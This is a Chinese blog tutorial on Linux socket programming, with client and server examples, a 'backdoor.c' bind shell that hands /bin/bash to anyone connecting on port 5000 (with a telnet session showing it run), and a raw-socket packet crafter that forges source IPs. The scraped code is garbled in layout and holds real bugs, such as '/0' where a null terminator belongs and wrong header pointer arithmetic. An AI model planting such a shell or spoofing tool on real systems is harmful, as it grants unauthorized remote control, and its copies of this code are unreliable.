linux网络编程基础

linux网络编程基础

首先,什么是socket?socket是计算机用于与网络上的其它计算机进行通信的一个接口,它就像是电源插线板上的插口一样,用电电器想要获得电源,就必须要有个插头连接到插线板上的插口。同样,计算机要想获得一个网络连接就得建立一个socket。

下面是一些在建立一个socket时常的函数:

socket()  ---  用来创建一个socket接口
例:sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

connect()  ---  用来连接到远程主机
例:connect(sock, (struct sockaddr*)&remote_host, sizeof(remote_host));

send()  ---  用来向远程主机发送数据
例:nsend = send(sock, data, datalen, 0);

recv()  ---  用来接收从主机发送来的数据
例:nrecv = recv(sock, buffer, sizeof(buffer), 0);

close()  ---  用来关闭一个socket
例:close(sock);

下面是一个简单的客房端例子,它连接到服务器,发送一个字符串,然后接收服务器发送回来的字符串。

 

filename: client.c

#include 
< stdio.h >
#include 
< sys / types.h >
#include 
< sys / socket.h >
#include 
< netinet / in .h >
#include 
< arpa / inet.h >
#include 
< stdlib.h >
#include 
< string .h >

int  main( int  argc,  char   * argv[])
{
    
int  sock;
    
struct  sockaddr_in remote;

    
if  (argc  <   3 ) {
        printf(
" usage: %s <dst-ip> <dst-port> " , argv[ 0 ]);
        exit(
- 1 );
    }

    sock 
=  socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    
if  (sock  <   0 ) {
        printf(
" socket error. " );
        exit(
- 1 );
    }

    memset(
& remote,  0 sizeof (remote));
    remote.sin_family 
=  AF_INET;
    remote.sin_port 
=  htons(atoi(argv[ 2 ]));
    inet_pton(AF_INET, argv[
1 ],  & remote.sin_addr);
    
char  addr[INET_ADDRSTRLEN];
    inet_ntop(AF_INET, 
& remote.sin_addr, addr, INET_ADDRSTRLEN);
    printf(
" %s " , addr);

    printf(
" connecting... " );
    
if  (connect(sock, ( struct  sockaddr * ) & remote,  sizeof ( struct  sockaddr))  <   0 ) {
        printf(
" connect error. " );
        exit(
- 1 );
    }

    printf(
" send data... " );
    
char  sbuf[]  =   " I am plusboy " ;
    
char  rbuf[ 1024 ];
    send(sock, sbuf, 
sizeof (sbuf),  0 );

    
int  nrecv  =  recv(sock, rbuf,  sizeof (rbuf),  0 );
    rbuf[nrecv] = '/0';
    printf("recv from server: %s/n", rbuf);
    close(sock);
    return 0;
}

 编译:gcc -o client client.c
执行结果如下:
[bugboy@bugboy c]$ ./client 172.16.100.108 6789
172.16.100.108
connecting...
send data...
recv from server: recv: I am plusboy


上面是一个客户端的例子,为了创建一个服务端,我们需要了解更多的socket函数,下面是一些常用的函数:

bind()  ---  用来把一个socket和一个网络地址和一个端口号进行绑定
例:bind(sock, (struct sockaddr*)&local_host, sizeof(local_host));

listen()  ---  用来把一个socket置入监听状态
例:listen(sock, 5);

accept()  ---  用来接收一个远程连接请求
例:cli_sock = accept(sock, (struct sockaddr*)&cli_addr, &cli_addr_size);

下面是一个简的服务器端例子,这接收客房端的连接请求,然后启动一个子进程来处理客户端,父进程继续等待其它客户端的请求,注意服务器端用了一个dup2()进行描述符复制,它把客户端连接生成的socket复制到一标准输出,因此打印到标准输出的信息最终会发送到客户端。

 

filename: server.c

#include 
< stdio.h >
#include 
< stdlib.h >
#include 
< sys / types.h >
#include 
< sys / socket.h >
#include 
< netinet / in .h >
#include 
< unistd.h >

int  main( int  argc,  char   * argv[])
{
    
int  lsock;
    
int  rsock;
    
struct  sockaddr_in server;
    
struct  sockaddr_in client;
    
int  len;

    len 
=   sizeof ( struct  sockaddr);

    lsock 
=  socket(AF_INET, SOCK_STREAM,  0 );
    
if  (lsock  <   0 ) {
        printf(
" socket error. " );
        exit(
- 1 );
    }

    memset(
& server,  0 sizeof (server));
    server.sin_family 
=  AF_INET;
    server.sin_port 
=  htons( 6789 );
    server.sin_addr.s_addr 
=  INADDR_ANY;

    
if  (bind(lsock, ( struct  sockaddr * ) & server,  sizeof ( struct  sockaddr))  <   0 ) {
        printf(
" bind error. " );
        exit(
- 1 );
    }

    
if  (listen(lsock,  5 <   0 ) {
        printf(
" listen error. " );
        exit(
- 1 );
    }

    
char  buf[ 1024 ];
    
int  nrecv;
    
char  cli_addr[INET_ADDRSTRLEN];
    
    
while  ( 1 ) {
        rsock 
=  accept(lsock, ( struct  sockaddr * ) & client,  & len);
        printf(
" Connection from %s "
               inet_ntop(AF_INET, 
& client.sin_addr, cli_addr, INET_ADDRSTRLEN));

        
if  (fork()  ==   0 ) {
            close(lsock);
            dup2(rsock, STDOUT_FILENO);
            
while  ( 1 ) {
                nrecv 
=  recv(rsock, buf,  sizeof (buf),  0 );
                buf[nrecv] = '/0';
                printf("recv: %s/n", buf);
                if (strncmp(buf, "exit", 4 ) == 0) {
                    exit(0);
                }
            }
        } else {
            close(rsock);
        }
    }
    close(rsock);
    return 0;
}

编译:gcc -o server server.c
执行结果如下:
[bugboy@bugboy c]$ ./server
Connection from 172.16.100.108

有了上面的基础,就可以偿试写一个后门程序来玩玩了,下面是一个不错的例子:

filename: backdoor.c

#include 
< stdio.h >
#include 
< sys / types.h >
#include 
< sys / socket.h >
#include 
< netinet / in .h >
#include 
< unistd.h >

int  main( int  argc,  char   * argv[])
{
    
int  lsock, rsock;
    
struct  sockaddr_in server;
    
struct  sockaddr_in client;

    
if  ((lsock  =  socket(AF_INET, SOCK_STREAM,  0 ))  <   0 ) {
        fprintf(stderr, 
" socket error. " );
        exit(
- 1 );
    }

    server.sin_family 
=  AF_INET;
    server.sin_port 
=  htons( 5000 );
    server.sin_addr.s_addr 
=  INADDR_ANY;

    
if  (bind(lsock, ( struct  sockaddr * ) & server,  sizeof ( struct  sockaddr))  <   0 ) {
        fprintf(stderr, 
" bind error. " );
        exit(
- 1 );
    }

    
if  (listen(lsock,  5 <   0 ) {
        fprintf(stderr, 
" listen error. " );
        exit(
- 1 );
    }

    
while  ( 1 ) {
        
int  size;
        size 
=   sizeof ( struct  sockaddr);
        rsock 
=  accept(lsock, ( struct  sockaddr * ) & client,  & size);
        
        
/*  把输入、输出和出错信息重定向到网络  */
        dup2(rsock, STDIN_FILENO);
        dup2(rsock, STDOUT_FILENO);
        dup2(rsock, STDERR_FILENO);
        execl(
" /bin/bash " " /bin/bash " , ( char * ) 0 );
        close(rsock);
    }

    
return   0 ;
}

在linux下用GCC编译:gcc -o backdoor backdoor.c  运行结果如下:
[plusboy@server3 ~]$./backdoor

从另一台机子(或者本机)telnet到server3去
[bugboy@bugboy ~]$ telnet 172.16.100.81 5000
Trying 172.16.100.81...
Connected to server3 (172.16.100.81).
Escape character is '^]'.
hostname;
server3
: command not found
uname -a;
Linux server3 2.6.9-5.EL #1 Wed Jan 5 19:22:18 EST 2005 i686 i686 i386 GNU/Linux
: command not found

有时你需要获得对网络底层协议更多的控制,这时你需要用到raw socket(原始套接口)。下面是常用到的函数:

sendto()  ---  用来发送数据到远程主机
例:nsend = sendto(sock, data, datalen, 0,   (struct sockaddr*)&remote_host, sizeof(remote_host);

recvfrom()  ---  用来接收从远程主机发送来的数据
例:nrecv = recvfrom(sock, buffer, sizeof(buffer), 0,  (struct sockaddr*)&remote_host, sizeof(remote_host);
           
setsockopt()  ---  用来设置socket的选项
例:setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char*)&enable, sizeof(enable));

下面是一个使用原始套接口的例子(raw_socket.c):

 

#include  < stdio.h >
#include 
< stdlib.h >
#include 
< unistd.h >
#include 
< netdb.h >
#include 
< sys / types.h >
#include 
< sys / socket.h >
#include 
< netinet / in .h >
#include 
< netinet / ip.h >
#include 
< netinet / tcp.h >

int  main( int  argc,  char   * argv[])
{
    
if  (argc  !=   7 ) {
        fprintf(stderr, 
" Simple Packet Crafter using raw sockets "
                
" Usage: %s <dst-ip> <dst-port> <src-ip> <src-port> <ttl> <window> " ,  argv[ 0 ]);
        fprintf(stderr, 
" Example: %s 192.0.0.2 79 1.2.3.4 12345 255 512 " , argv[ 0 ]);
        exit(
- 1 );
    }

    
if  (getuid()  !=   0 ) {
        fprintf(stderr, 
" Error: Must be ROOT to open raw sockets. " );
        exit(
- 1 );
    }

    
int  enable  =   1 ;
    
int  sock;
    
char  packet[ 4096 ];

    
struct  sockaddr_in remote;
    
struct  iphdr  * ip  =  ( struct  iphdr * ) packet;
    
struct  tcphdr  * tcp  =  ( struct  tcphdr * ) packet  +   sizeof ( struct  tcphdr);

    
if  ((sock  =  socket(AF_INET, SOCK_RAW, IPPROTO_TCP))  <   0 ) {
        fprintf(stderr, 
" socket error. " );
        exit(
- 1 );
    }

    remote.sin_family 
=  AF_INET;
    inet_pton(AF_INET, argv[
1 ],  & remote.sin_addr.s_addr);
    remote.sin_port 
=  htons(atoi(argv[ 2 ]));

    memset(packet, 
0 sizeof (packet));

    
if  (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, ( char * ) & enable,  sizeof (enable))  <   0 ) {
        fprintf(stderr, 
" setsockopt error. " );
        exit(
- 1 );
    }

    
struct  in_addr addr;

    ip
-> ihl  =   5 ;      //  IP header length
    ip -> version  =   4 //  IP version
    ip -> tot_len  =   sizeof ( struct  iphdr)  +   sizeof ( struct  tcphdr);  
    ip
-> id  =  htons( 2500 );  //  id sequence number
    inet_pton(AF_INET, argv[ 3 ],  & addr);  //  source ip
    ip -> saddr  =  addr.s_addr;
    inet_pton(AF_INET, argv[
1 ],  & addr);  //  destination ip
    ip -> daddr  =  addr.s_addr;
    printf(
" source ip: %d " , ip -> saddr);
    printf(
" destination ip: %d " , ip -> daddr);
    ip
-> ttl  =  htons(atoi(argv[ 5 ]));   //  ttl
    ip -> protocol  =  IPPROTO_TCP;       //  protocol number
    ip -> check  =   0 ;     //  IP checksum
    ip -> tos  =   0 ;       //  type of service
    ip -> frag_off  =   0 //  fragment offset

    tcp
-> source  =  htons(atoi(argv[ 4 ]));  //  source port 
    tcp -> dest  =  htons(atoi(argv[ 2 ]));    //  destination port
    tcp -> seq  =  htons(random());          //  initial sequence number
    tcp -> ack_seq  =  htons( 0 );             //  acknowledgement number
    tcp -> ack  =   0 ;   //  acknowledgement flag
    tcp -> syn  =   1 ;   //  synchronize flag
    tcp -> rst  =   0 ;   //  reset flag
    tcp -> psh  =   0 ;   //  push flag
    tcp -> fin  =   0 ;   //  finish flag
    tcp -> urg  =   0 ;   //  urgent flag
    tcp -> check  =   0 //  tcp checksum
    tcp -> doff  =   5 //  data offset
    tcp -> window  =  htons(atoi(argv[ 6 ]));   //  window size

    printf(
" Simple Packet Crafter using raw sockets " );
    printf(
" Packet Data: " );
    printf(
" Destination IP: %s,  " , argv[ 1 ]);
    printf(
" Destination Port: %s,  " , argv[ 2 ]);
    printf(
" Source IP: %s,  " , argv[ 3 ]);
    printf(
" Source Port: %s,  " , argv[ 4 ]);
    printf(
" TTL: %s,  " , argv[ 5 ]);
    printf(
" Window Size: %s " , argv[ 6 ]);

    printf(
" Sending packet to %s... " , argv[ 1 ]);

    
if  (sendto(sock, packet, ip -> tot_len,  0
        (
struct  sockaddr * ) & remote,  sizeof ( struct  sockaddr))  <   0 ) {
        fprintf(stderr, 
" Error: can't send packet! " );
        
return   - 1 ;
    }

    printf(
" Packet send to %s! Goodbye! " , argv[ 1 ]);
    
return   0 ;
}

这个程序需要root用户执行,因为只有root用户可以创建原始套接口。用gcc编译后,程序执行结果如下:

[root@bugboy c]# ./raw_socket 172.16.100.81 22 172.16.100.108 5000 255 512
source ip: 1818497196
destination ip: 1365512364

Simple Packet Crafter using raw sockets

Packet Data:

Destination IP: 172.16.100.81,
Destination Port: 22,

Source IP: 172.16.100.108,
Source Port: 5000,
TTL: 255,
Window Size: 512

Sending packet to 172.16.100.81...

Packet send to 172.16.100.81! Goodbye!

 

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值